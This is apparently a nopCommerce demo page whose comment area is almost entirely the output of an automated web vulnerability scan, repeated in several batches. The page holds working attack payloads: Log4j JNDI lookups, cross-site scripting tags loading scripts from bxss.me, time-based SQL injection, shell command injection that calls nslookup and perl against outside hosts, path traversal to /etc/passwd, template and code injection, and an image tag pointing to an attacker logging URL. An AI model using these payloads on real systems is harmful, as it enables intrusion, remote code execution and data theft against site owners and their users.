nopCommerce includes everything you need to begin your e-commerce online store. We have thought of everything and it's all included!
This is a sample comment...
${j${::-n}di:dns${::-:}${::-/}/hitqfzmudyetv856ca${::-.}bxss.me}zzzz
response.write(9244087*9291652)
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hityxogfjzaygac0ad${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'+response.write(9244087*9291652)+'
"+response.write(9244087*9291652)+"
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-98851.1141.b9947${::-.}1${::-.}bxss.me}}
'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-98853&h=1141-b9947-2&"></script>
/../../../../../../../../../../windows/system32/BITSADMIN.exe
echo apyazk$()\ bwwijf\nz^xyu||a #' &echo apyazk$()\ bwwijf\nz^xyu||a #|" &echo apyazk$()\ bwwijf\nz^xyu||a #
kK59ujp3
&echo epuixl$()\ icmbco\nz^xyu||a #' &echo epuixl$()\ icmbco\nz^xyu||a #|" &echo epuixl$()\ icmbco\nz^xyu||a #
|echo fpntzr$()\ fjkyqa\nz^xyu||a #' |echo fpntzr$()\ fjkyqa\nz^xyu||a #|" |echo fpntzr$()\ fjkyqa\nz^xyu||a #
(nslookup hitertxashbfsb1e46.bxss.me||perl -e "gethostbyname('hitertxashbfsb1e46.bxss.me')")
$(nslookup hitnmeqvdxuxucac19.bxss.me||perl -e "gethostbyname('hitnmeqvdxuxucac19.bxss.me')")
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../windows/win.ini
bcc:074625.1141-98909.1141.b9947.19250.2@bxss.me
file:///etc/passwd
&(nslookup hitwgxqrwicdbce6e7.bxss.me||perl -e "gethostbyname('hitwgxqrwicdbce6e7.bxss.me')")&'\"`0&(nslookup hitwgxqrwicdbce6e7.bxss.me||perl -e "gethostbyname('hitwgxqrwicdbce6e7.bxss.me')")&`'
to@example.com>bcc:074625.1141-98910.1141.b9947.19250.2@bxss.me
../
|(nslookup hitqpqwcexxjq25693.bxss.me||perl -e "gethostbyname('hitqpqwcexxjq25693.bxss.me')")
./
`(nslookup hitgiyxscjfwpefbfc.bxss.me||perl -e "gethostbyname('hitgiyxscjfwpefbfc.bxss.me')")`
;(nslookup hitcerhinwzsb0eaad.bxss.me||perl -e "gethostbyname('hitcerhinwzsb0eaad.bxss.me')")|(nslookup hitcerhinwzsb0eaad.bxss.me||perl -e "gethostbyname('hitcerhinwzsb0eaad.bxss.me')")&(nslookup hitcerhinwzsb0eaad.bxss.me||perl -e "gethostbyname('hitcerhinwzsb0eaad.bxss.me')")
-1 OR 2+910-910-1=0+0+0+1 --
<esi:include src="http://bxss.me/rpb.png"/>
-1 OR 3+910-910-1=0+0+0+1 --
-1 OR 2+321-321-1=0+0+0+1
-1 OR 3+321-321-1=0+0+0+1
-1' OR 2+107-107-1=0+0+0+1 --
-1' OR 3+107-107-1=0+0+0+1 --
${10000048+10000464}
-1' OR 2+833-833-1=0+0+0+1 or 'oeZ7Bdqz'='
-1' OR 3+833-833-1=0+0+0+1 or 'oeZ7Bdqz'='
-1" OR 2+356-356-1=0+0+0+1 --
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
-1" OR 3+356-356-1=0+0+0+1 --
&n956111=v986763
)
!(()&&!|*|*|
Http://bxss.me/t/fit.txt
^(#$!@#$)(()))******
http://bxss.me/t/fit.txt?.jpg
/etc/shells
c:/windows/win.ini
bxss.me
'.gethostbyname(lc('hitzn'.'ufqlhamfd7a8f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(70).chr(116).chr(67).'
'"()
".gethostbyname(lc("hitwh"."vzpucaid28e90.bxss.me."))."A".chr(67).chr(hex("58")).chr(110).chr(70).chr(100).chr(75)."
'&&sleep(27*1000)*cfszem&&'
"&&sleep(27*1000)*aaklcr&&"
'||sleep(27*1000)*vpeqxr||'
"||sleep(27*1000)*sfxwip||"
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
";print(md5(31337));$a="
${@print(md5(31337))}
${@print(md5(31337))}\
'.print(md5(31337)).'
if(now()=sysdate(),sleep(15),0)
ctimesleepp0(I30tp1Rp2.
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitcvkharfxuye2c7f.'+'bxss.me')
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitcvkharfxuye2c7f."+"bxss.me")+'
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitcvkharfxuye2c7f.'+'bxss.me')+"
HttP://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(98).concat(67).concat(115).concat(67)+(require"socket"Socket.gethostbyname("hitar"+"udksameceda82.bxss.me.")[3].to_s)+"
nopcommerce-new-release
http://hitkiirrtrcvd.bxss.me/
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nopcommerce-new-release/.
'+'A'.concat(70-3).concat(22*4).concat(100).concat(89).concat(100).concat(70)+(require'socket'Socket.gethostbyname('hitof'+'woabkrkx9c10a.bxss.me.')[3].to_s)+'
/xfs.bxss.me
'"
<!--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
'"()&%<zzz><ScRiPt >PGgm(9729)</ScRiPt>
'"()&%<zzz><ScRiPt >PGgm(9620)</ScRiPt>
9304183


bfg4941<s1﹥s2ʺs3ʹhjl4941
bfgx4522%C0%BEz1%C0%BCz2a%90bcxhjl4522
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
<ScRiPt >PGgm(9624)</ScRiPt>
<W2CWWX>CRVYO[!+!]</W2CWWX>
<script>PGgm(9679)</script>
<ScR<ScRiPt>IpT>PGgm(9665)</sCr<ScRiPt>IpT>
<ScRiPt >PGgm(9027)</ScRiPt>
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9802></ScRiPt>
<isindex type=image src=1 onerror=PGgm(9621)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9315'>
<body onload=PGgm(9763)>
<img src=//xss.bxss.me/t/dot.gif onload=PGgm(9185)>
<img src=xyz OnErRor=PGgm(9622)>
<img/src=">" onerror=alert(9217)>
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
%0D%0A%3C%53%63%52%69%50%74%20%3E%50%47%67%6D%289366%29%3C%2F%73%43%72%69%70%54%3E
\u003CScRiPt\PGgm(9733)\u003C/sCripT\u003E
<ScRiPt>PGgm(9456)</sCripT>
%F6<img zzz onmouseover=PGgm(93621) //%F6>
<input autofocus onfocus=PGgm(9765)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
}body{zzz:Expre/**/SSion(PGgm(9779))}
Sw2SI<ScRiPt >PGgm(9448)</ScRiPt>
<W8QBB9>LFDFQ[!+!]</W8QBB9>
<ifRAme sRc=9930.com></IfRamE>
<ahOa9e5 x=9110>
<img sRc='http://attacker-9305/log.php?
-1; waitfor delay '0:0:15' --
<a024hIh<
-1); waitfor delay '0:0:15' --
-1)); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
W2MR8nHi'; waitfor delay '0:0:15' --
NuwCVvOq'); waitfor delay '0:0:15' --
XV4R6fZI')); waitfor delay '0:0:15' --
-5 OR 993=(SELECT 993 FROM PG_SLEEP(15))--
-5) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
-1)) OR 462=(SELECT 462 FROM PG_SLEEP(15))--
WzoPfGsv' OR 18=(SELECT 18 FROM PG_SLEEP(15))--
NyRYppd9') OR 260=(SELECT 260 FROM PG_SLEEP(15))--
hg3c5eRw')) OR 432=(SELECT 432 FROM PG_SLEEP(15))--
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@RVdyJ
response.write(9738751*9498445)
${j${::-n}di:dns${::-:}${::-/}/hithegnauliuh224c6${::-.}bxss.me}zzzz
'+response.write(9738751*9498445)+'

'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-101376&h=1141-b9947-2&"></script>
"+response.write(9738751*9498445)+"
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitbfzkbpqdvw46705${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-101382.1141.b9947${::-.}1${::-.}bxss.me}}
echo sbvqqm$()\ blcoki\nz^xyu||a #' &echo sbvqqm$()\ blcoki\nz^xyu||a #|" &echo sbvqqm$()\ blcoki\nz^xyu||a #
Gllqym6X
&echo clswae$()\ ltahee\nz^xyu||a #' &echo clswae$()\ ltahee\nz^xyu||a #|" &echo clswae$()\ ltahee\nz^xyu||a #
|echo mbpfxh$()\ lmcaek\nz^xyu||a #' |echo mbpfxh$()\ lmcaek\nz^xyu||a #|" |echo mbpfxh$()\ lmcaek\nz^xyu||a #
(nslookup hitcaeqachbhsc9876.bxss.me||perl -e "gethostbyname('hitcaeqachbhsc9876.bxss.me')")
$(nslookup hituvhwybbmkf87cbb.bxss.me||perl -e "gethostbyname('hituvhwybbmkf87cbb.bxss.me')")
&(nslookup hitegtmqhcvsk3e5b1.bxss.me||perl -e "gethostbyname('hitegtmqhcvsk3e5b1.bxss.me')")&'\"`0&(nslookup hitegtmqhcvsk3e5b1.bxss.me||perl -e "gethostbyname('hitegtmqhcvsk3e5b1.bxss.me')")&`'
to@example.com>bcc:074625.1141-101386.1141.b9947.19250.2@bxss.me
../

|(nslookup hitoalpyijqbec0449.bxss.me||perl -e "gethostbyname('hitoalpyijqbec0449.bxss.me')")
`(nslookup hitowbgnrtobt1a456.bxss.me||perl -e "gethostbyname('hitowbgnrtobt1a456.bxss.me')")`
;(nslookup hitggugcovddd24ad8.bxss.me||perl -e "gethostbyname('hitggugcovddd24ad8.bxss.me')")|(nslookup hitggugcovddd24ad8.bxss.me||perl -e "gethostbyname('hitggugcovddd24ad8.bxss.me')")&(nslookup hitggugcovddd24ad8.bxss.me||perl -e "gethostbyname('hitggugcovddd24ad8.bxss.me')")

<esi:include src="http://bxss.me/rpb.png"/>
${9999474+9999865}

&n974902=v920070
'.gethostbyname(lc('hitss'.'efuobragc7541.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(69).chr(119).chr(68).'
".gethostbyname(lc("hitzr"."iisoeplx639c2.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(85).chr(110).chr(69)."

'&&sleep(27*1000)*hthfae&&'

"&&sleep(27*1000)*rqawby&&"

'||sleep(27*1000)*jmdiay||'

"||sleep(27*1000)*fkohww||"
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitclyvqfwgzddd0d7.'+'bxss.me')
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitclyvqfwgzddd0d7."+"bxss.me")+'
-1 OR 2+271-271-1=0+0+0+1 --
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitclyvqfwgzddd0d7.'+'bxss.me')+"
-1 OR 2+882-882-1=0+0+0+1
-1' OR 2+494-494-1=0+0+0+1 --
-1' OR 2+157-157-1=0+0+0+1 or 'J3WKKzwu'='
-1" OR 2+138-138-1=0+0+0+1 --
"+"A".concat(70-3).concat(22*4).concat(110).concat(66).concat(100).concat(66)+(require"socket"Socket.gethostbyname("hithm"+"jvfmkweu88e12.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(120).concat(73).concat(116).concat(79)+(require'socket'Socket.gethostbyname('hittl'+'lnwpivmv6f015.bxss.me.')[3].to_s)+'
http://hituhoidiikly.bxss.me/

'"()&%<zzz><ScRiPt >GUSZ(9363)</ScRiPt>
'"()&%<zzz><ScRiPt >GUSZ(9980)</ScRiPt>

9919907
bfg8300<s1﹥s2ʺs3ʹhjl8300
bfgx9757%C0%BEz1%C0%BCz2a%90bcxhjl9757

<ScRiPt >GUSZ(9163)</ScRiPt>

<WNLQHY>RZQC9[!+!]</WNLQHY>

<ScRiPt >GUSZ(9065)</ScRiPt>

<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9194></ScRiPt>

<isindex type=image src=1 onerror=GUSZ(9120)>

<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9112'>

<body onload=GUSZ(9396)>

<img src=//xss.bxss.me/t/dot.gif onload=GUSZ(9252)>

<img src=xyz OnErRor=GUSZ(9124)>

<img/src=">" onerror=alert(9888)>
%0D%0A%26%23%78%44%3B%26%23%78%41%3B%3C%53%63%52%69%50%74%20%3E%47%55%53%5A%289209%29%3C%2F%73%43%72%69%70%54%3E

<ScRiPt>GUSZ(9907)</sCripT>
%F6<img zzz onmouseover=GUSZ(90281) //%F6>

<input autofocus onfocus=GUSZ(9758)>

}body{zzz:Expre/**/SSion(GUSZ(9107))}

vISf6<ScRiPt >GUSZ(9260)</ScRiPt>

<WDVYSN>XI3LH[!+!]</WDVYSN>

<ifRAme sRc=9930.com></IfRamE>

<alWdaMc x=9979>

<img sRc='http://attacker-9141/log.php?

<aOdbAc3<
pdGVOBnu'; waitfor delay '0:0:15' --
SYfkbAS9'); waitfor delay '0:0:15' --
gioAISNh')); waitfor delay '0:0:15' --
Xhz61gFk' OR 652=(SELECT 652 FROM PG_SLEEP(15))--
555
9grJC2Rl') OR 277=(SELECT 277 FROM PG_SLEEP(15))--
4KIfAdle')) OR 351=(SELECT 351 FROM PG_SLEEP(15))--

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@@GSLDg
response.write(9551119*9905575)
${j${::-n}di:dns${::-:}${::-/}/hitjfuwuwakrmfb617${::-.}bxss.me}zzzz
'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-104344&h=1141-b9947-2&"></script>
'+response.write(9551119*9905575)+'
"+response.write(9551119*9905575)+"
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitcugfeubdvfc13b2${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
echo uxpzbw$()\ jqxpce\nz^xyu||a #' &echo uxpzbw$()\ jqxpce\nz^xyu||a #|" &echo uxpzbw$()\ jqxpce\nz^xyu||a #
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-104347.1141.b9947${::-.}1${::-.}bxss.me}}
&echo xognez$()\ glgzcs\nz^xyu||a #' &echo xognez$()\ glgzcs\nz^xyu||a #|" &echo xognez$()\ glgzcs\nz^xyu||a #
oxebAkaA
|echo rqugrz$()\ vcqmab\nz^xyu||a #' |echo rqugrz$()\ vcqmab\nz^xyu||a #|" |echo rqugrz$()\ vcqmab\nz^xyu||a #
(nslookup hitefehhowhob4593d.bxss.me||perl -e "gethostbyname('hitefehhowhob4593d.bxss.me')")
$(nslookup hitscbmjdpeomba4e0.bxss.me||perl -e "gethostbyname('hitscbmjdpeomba4e0.bxss.me')")
bcc:074625.1141-104352.1141.b9947.19250.2@bxss.me
to@example.com>bcc:074625.1141-104354.1141.b9947.19250.2@bxss.me
&(nslookup hitofakcvtxdk24280.bxss.me||perl -e "gethostbyname('hitofakcvtxdk24280.bxss.me')")&'\"`0&(nslookup hitofakcvtxdk24280.bxss.me||perl -e "gethostbyname('hitofakcvtxdk24280.bxss.me')")&`'
|(nslookup hitnjceqegaaid6f2c.bxss.me||perl -e "gethostbyname('hitnjceqegaaid6f2c.bxss.me')")
`(nslookup hitsymeiivctwcedd6.bxss.me||perl -e "gethostbyname('hitsymeiivctwcedd6.bxss.me')")`
${9999474+9999722}
;(nslookup hitdbgonouheufcc6b.bxss.me||perl -e "gethostbyname('hitdbgonouheufcc6b.bxss.me')")|(nslookup hitdbgonouheufcc6b.bxss.me||perl -e "gethostbyname('hitdbgonouheufcc6b.bxss.me')")&(nslookup hitdbgonouheufcc6b.bxss.me||perl -e "gethostbyname('hitdbgonouheufcc6b.bxss.me')")
&n971680=v943895
'.gethostbyname(lc('hitgq'.'plkwmbhqd659e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(88).chr(104).chr(69).'
".gethostbyname(lc("hitmc"."sfivhdrxe8bb5.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(65).chr(101).chr(84)."
'&&sleep(27*1000)*ziyecd&&'
"&&sleep(27*1000)*jsxrzx&&"
'||sleep(27*1000)*qfrgdz||'
"||sleep(27*1000)*jzxvnr||"
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitzedcynkiwqf7eee.'+'bxss.me')
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitzedcynkiwqf7eee."+"bxss.me")+'
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitzedcynkiwqf7eee.'+'bxss.me')+"
"+"A".concat(70-3).concat(22*4).concat(108).concat(71).concat(117).concat(86)+(require"socket"Socket.gethostbyname("hitjp"+"ipzpyvowa1320.bxss.me.")[3].to_s)+"
-1 OR 2+631-631-1=0+0+0+1 --
-1 OR 3+631-631-1=0+0+0+1 --
'+'A'.concat(70-3).concat(22*4).concat(118).concat(67).concat(99).concat(81)+(require'socket'Socket.gethostbyname('hitbo'+'uwkbykuacad05.bxss.me.')[3].to_s)+'
-1 OR 2+400-400-1=0+0+0+1
-1 OR 3+400-400-1=0+0+0+1
-1' OR 2+363-363-1=0+0+0+1 --
-1' OR 3+363-363-1=0+0+0+1 --
-1' OR 2+497-497-1=0+0+0+1 or 'jJjQ06js'='
-1' OR 3+497-497-1=0+0+0+1 or 'jJjQ06js'='
http://hitvskmojcwpx.bxss.me/
-1" OR 2+44-44-1=0+0+0+1 --
-1" OR 3+44-44-1=0+0+0+1 --
'"()&%<zzz><ScRiPt >NCBW(9447)</ScRiPt>
'"()&%<zzz><ScRiPt >NCBW(9548)</ScRiPt>
9296782
bfg5061<s1﹥s2ʺs3ʹhjl5061
bfgx9349%C0%BEz1%C0%BCz2a%90bcxhjl9349
<ScRiPt >NCBW(9129)</ScRiPt>
<WMO69W>8MKFW[!+!]</WMO69W>
<script>NCBW(9588)</script>
<ScR<ScRiPt>IpT>NCBW(9415)</sCr<ScRiPt>IpT>
<ScRiPt >NCBW(9760)</ScRiPt>
<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9718></ScRiPt>
<isindex type=image src=1 onerror=NCBW(9132)>
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9770'>
<body onload=NCBW(9324)>
<img src=//xss.bxss.me/t/dot.gif onload=NCBW(9211)>
<img src=xyz OnErRor=NCBW(9767)>
<img/src=">" onerror=alert(9730)>
%0D%0A%3C%53%63%52%69%50%74%20%3E%4E%43%42%57%289618%29%3C%2F%73%43%72%69%70%54%3E
\u003CScRiPt\NCBW(9825)\u003C/sCripT\u003E
<ScRiPt>NCBW(9123)</sCripT>
%F6<img zzz onmouseover=NCBW(99821) //%F6>
<input autofocus onfocus=NCBW(9897)>
}body{zzz:Expre/**/SSion(NCBW(9171))}
aPAF5<ScRiPt >NCBW(9743)</ScRiPt>
<WRTAIG>TTLP4[!+!]</WRTAIG>
<ifRAme sRc=9189.com></IfRamE>
<assApSV x=9569>
<img sRc='http://attacker-9061/log.php?
<aCMUYtp<
ZIFQVvaQ'; waitfor delay '0:0:15' --
O8fjqQM9'); waitfor delay '0:0:15' --
7f0v6KYs')); waitfor delay '0:0:15' --
-5 OR 128=(SELECT 128 FROM PG_SLEEP(15))--
-5) OR 572=(SELECT 572 FROM PG_SLEEP(15))--
1CdBzyYFczO
-1)) OR 854=(SELECT 854 FROM PG_SLEEP(15))--
Y38Tputg' OR 610=(SELECT 610 FROM PG_SLEEP(15))--
-1 OR 2+280-280-1=0+0+0+1 --
-1 OR 2+199-199-1=0+0+0+1
-1' OR 2+518-518-1=0+0+0+1 --
-1' OR 2+409-409-1=0+0+0+1 or 'qSbuXYrv'='
-1" OR 2+332-332-1=0+0+0+1 --
gfFmBgtD') OR 443=(SELECT 443 FROM PG_SLEEP(15))--
${j${::-n}di:dns${::-:}${::-/}/hitoykapkcwzo0719f${::-.}bxss.me}zzzz
response.write(9742612*9274504)
555'>"></title></style></textarea></noscript></template></script><script/src="//bxss.me/bsp?u=074625&r=1141-105787&h=1141-b9947-2&"></script>
'+response.write(9742612*9274504)+'
"+response.write(9742612*9274504)+"
%BF💡'"><&;|${${lower:j}${::-n}d${upper:ı}:dns${::-:}//hitcletonvxhgff0cc${::-.}bxss.me}AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}/dns.log4j.074625.1141-105791.1141.b9947${::-.}1${::-.}bxss.me}}
eSRwlJUJ
echo ibqnsz$()\ mkdvru\nz^xyu||a #' &echo ibqnsz$()\ mkdvru\nz^xyu||a #|" &echo ibqnsz$()\ mkdvru\nz^xyu||a #
&echo pgdpqh$()\ rqjqfd\nz^xyu||a #' &echo pgdpqh$()\ rqjqfd\nz^xyu||a #|" &echo pgdpqh$()\ rqjqfd\nz^xyu||a #
555bcc:074625.1141-105792.1141.b9947.19250.2@bxss.me
|echo dhgiul$()\ vdymqp\nz^xyu||a #' |echo dhgiul$()\ vdymqp\nz^xyu||a #|" |echo dhgiul$()\ vdymqp\nz^xyu||a #
to@example.com>bcc:074625.1141-105793.1141.b9947.19250.2@bxss.me
lPrLSdIm')) OR 649=(SELECT 649 FROM PG_SLEEP(15))--
(nslookup hitapjpqhaykb175bc.bxss.me||perl -e "gethostbyname('hitapjpqhaykb175bc.bxss.me')")
555<esi:include src="http://bxss.me/rpb.png"/>
../555
$(nslookup hitlbxdrmhwmu3dca1.bxss.me||perl -e "gethostbyname('hitlbxdrmhwmu3dca1.bxss.me')")
${9999360+9999307}
&(nslookup hitsgqmxgbglkc0736.bxss.me||perl -e "gethostbyname('hitsgqmxgbglkc0736.bxss.me')")&'\"`0&(nslookup hitsgqmxgbglkc0736.bxss.me||perl -e "gethostbyname('hitsgqmxgbglkc0736.bxss.me')")&`'
555&n981171=v938539
|(nslookup hitzjiidtexlu602d7.bxss.me||perl -e "gethostbyname('hitzjiidtexlu602d7.bxss.me')")
`(nslookup hitayefwaizuh038f1.bxss.me||perl -e "gethostbyname('hitayefwaizuh038f1.bxss.me')")`
;(nslookup hitcdekqwweep1c991.bxss.me||perl -e "gethostbyname('hitcdekqwweep1c991.bxss.me')")|(nslookup hitcdekqwweep1c991.bxss.me||perl -e "gethostbyname('hitcdekqwweep1c991.bxss.me')")&(nslookup hitcdekqwweep1c991.bxss.me||perl -e "gethostbyname('hitcdekqwweep1c991.bxss.me')")
'.gethostbyname(lc('hitni'.'pxfgicsh1d49f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(66).chr(121).chr(87).'
555'&&sleep(27*1000)*trgyew&&'
555"&&sleep(27*1000)*mxunzp&&"
".gethostbyname(lc("hitda"."jcsshovl65ef8.bxss.me."))."A".chr(67).chr(hex("58")).chr(104).chr(79).chr(117).chr(68)."
555'||sleep(27*1000)*svpxlq||'
555"||sleep(27*1000)*qxaeqs||"
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitqbyrdxadzxdd276.'+'bxss.me')
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("hitqbyrdxadzxdd276."+"bxss.me")+'
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('hitqbyrdxadzxdd276.'+'bxss.me')+"
"+"A".concat(70-3).concat(22*4).concat(114).concat(78).concat(98).concat(67)+(require"socket"Socket.gethostbyname("hittt"+"qqzxgyifd774b.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(121).concat(71).concat(101).concat(87)+(require'socket'Socket.gethostbyname('hitkq'+'buyzeppt45150.bxss.me.')[3].to_s)+'
http://hithnhuteevqb.bxss.me/
555'"()&%<zzz><ScRiPt >GuI2(9202)</ScRiPt>
'"()&%<zzz><ScRiPt >GuI2(9605)</ScRiPt>
5559636456
bfg4698<s1﹥s2ʺs3ʹhjl4698
bfgx8448%C0%BEz1%C0%BCz2a%90bcxhjl8448
@@jY9yX
555<ScRiPt >GuI2(9528)</ScRiPt>
555<WLE1V0>TLUK6[!+!]</WLE1V0>
555<script>GuI2(9177)</script>
555<ScR<ScRiPt>IpT>GuI2(9903)</sCr<ScRiPt>IpT>
555<ScRiPt >GuI2(9412)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9482></ScRiPt>
555<isindex type=image src=1 onerror=GuI2(9113)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9172'>
555<body onload=GuI2(9672)>
555<img src=//xss.bxss.me/t/dot.gif onload=GuI2(9930)>
555<img src=xyz OnErRor=GuI2(9701)>
555<img/src=">" onerror=alert(9438)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%47%75%49%32%289904%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\GuI2(9960)\u003C/sCripT\u003E
555<ScRiPt>GuI2(9262)</sCripT>
%F6<img zzz onmouseover=GuI2(95071) //%F6>
555<input autofocus onfocus=GuI2(9811)>
555}body{zzz:Expre/**/SSion(GuI2(9405))}
555GqxgL<ScRiPt >GuI2(9533)</ScRiPt>
555<WXTAVZ>H4FOQ[!+!]</WXTAVZ>
555<ifRAme sRc=9186.com></IfRamE>
555<aJVBSpy x=9296>
555<img sRc='http://attacker-9540/log.php?
555<aT7iDJC<
1Uu9AeCD'; waitfor delay '0:0:15' --
a4lR6ziY'); waitfor delay '0:0:15' --
G6VDH82b')); waitfor delay '0:0:15' --
-5 OR 274=(SELECT 274 FROM PG_SLEEP(15))--
-5) OR 420=(SELECT 420 FROM PG_SLEEP(15))--
-1)) OR 426=(SELECT 426 FROM PG_SLEEP(15))--
0p5yRt29' OR 734=(SELECT 734 FROM PG_SLEEP(15))--
QpAS9sVT') OR 757=(SELECT 757 FROM PG_SLEEP(15))--
vKGtCXUr')) OR 767=(SELECT 767 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
@@JJVn5
555'"()&%<zzz><ScRiPt >tPna(9440)</ScRiPt>
'"()&%<zzz><ScRiPt >tPna(9948)</ScRiPt>
5559884166
bfg3170<s1﹥s2ʺs3ʹhjl3170
bfgx4587%C0%BEz1%C0%BCz2a%90bcxhjl4587
555'"()&%<zzz><ScRiPt >EZvS(9008)</ScRiPt>
'"()&%<zzz><ScRiPt >EZvS(9821)</ScRiPt>
5559070652
bfg8542<s1﹥s2ʺs3ʹhjl8542
555'"()&%<zzz><ScRiPt >nUKs(9733)</ScRiPt>
555<ScRiPt >tPna(9867)</ScRiPt>
bfgx8243%C0%BEz1%C0%BCz2a%90bcxhjl8243
'"()&%<zzz><ScRiPt >nUKs(9032)</ScRiPt>
555<WVWMT6>CGYS8[!+!]</WVWMT6>
5559631004
555<script>tPna(9730)</script>
bfg1398<s1﹥s2ʺs3ʹhjl1398
555<ScR<ScRiPt>IpT>tPna(9436)</sCr<ScRiPt>IpT>
bfgx9176%C0%BEz1%C0%BCz2a%90bcxhjl9176
555<ScRiPt >tPna(9703)</ScRiPt>
555'"()&%<zzz><ScRiPt >VHg0(9064)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9294></ScRiPt>
'"()&%<zzz><ScRiPt >VHg0(9719)</ScRiPt>
5559189179
555<isindex type=image src=1 onerror=tPna(9064)>
bfg5390<s1﹥s2ʺs3ʹhjl5390
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9340'>
bfgx4910%C0%BEz1%C0%BCz2a%90bcxhjl4910
555<body onload=tPna(9667)>
